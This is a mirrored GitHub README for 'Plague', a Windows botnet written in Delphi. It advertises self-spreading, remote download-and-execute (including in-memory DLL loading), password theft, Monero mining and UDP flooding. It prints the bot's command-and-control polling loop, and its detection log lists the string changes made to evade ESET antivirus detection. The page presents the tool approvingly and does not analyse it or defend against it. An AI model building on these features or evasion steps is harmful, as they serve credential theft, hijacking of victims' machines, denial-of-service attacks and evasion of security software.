Coder Social home page Coder Social logo

plague's Introduction

Plague

Just and older botnet, migrated from a private BitBucket repo. Written in Delphi, targeting Windows computers. Plague is/was capable of spreading automatically using multiple lateral movement vectors.

Features

Basic Client Functions

  • Restart
  • Update
  • Uninstall

File Functions

  • Download File
  • Upload File

Module Execution and Exploitation Functions

  • Download and Execute [Drop method]
  • Download and Execute [In-memory method]
  • Download and Execute [DLL in-memory method]
  • Password Recovery
  • XMR Mining
  • UDP Flood

Control over the Spreading mechanisms

Basic execution flow

The basic execution loop is defined in the main unit (Plague.lpr). Once this loop is reached, the execution of the bot instance stays essentially the same.

Repeat
  Net.GetCommands; //Download the current command list
  For J:=1 to Net.CommandCount do Begin //Iterate through the available commands
    if Net.Commands[J].Type='Abort' then Begin //If an Abort command is found
      if CommandUnderExecution(Net.Commands[J]) then //and the given command is under execution
        AbortCommand(Net.Commands[J]); //then abort it
    end else Begin //If the command is not an Abort
      if Not(CommandUnderExecution(Net.Commands[J])) then Begin //and it's awaiting execution
        I:=FindAPlace; //then find an empty place in the Worker Array
        NewWorker(I, Net.Commands[J]); //and create a new Worker to execute the command.
      end;
    end;
  End;
  Sleep(Delay); //Wait before contacting the server again
Until False; //Endless loop

Screenshots

Login interface Bot list World map Builder

Detection Log

1/29/2019 --> Eset Eset NOD32 - a variant of Win32/Agent.TMP trojan

  • Tools --> OpenURL --> ShellExecute changed to ShellExecuteW
  • CmdWorker --> Execute --> Mine --> String config.json moved to Protected String Storage
  • CmdWorker --> Execute --> MemExec --> String MemExec added to String Table as bb32d835
  • CmdWorker --> Execute --> DropExec --> String DropExec added to String Table as 896bb1db
  • CmdWorker --> Execute --> Download --> String Download successful. moved to Protected String Storage

plague's People

Contributors

raffy27 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.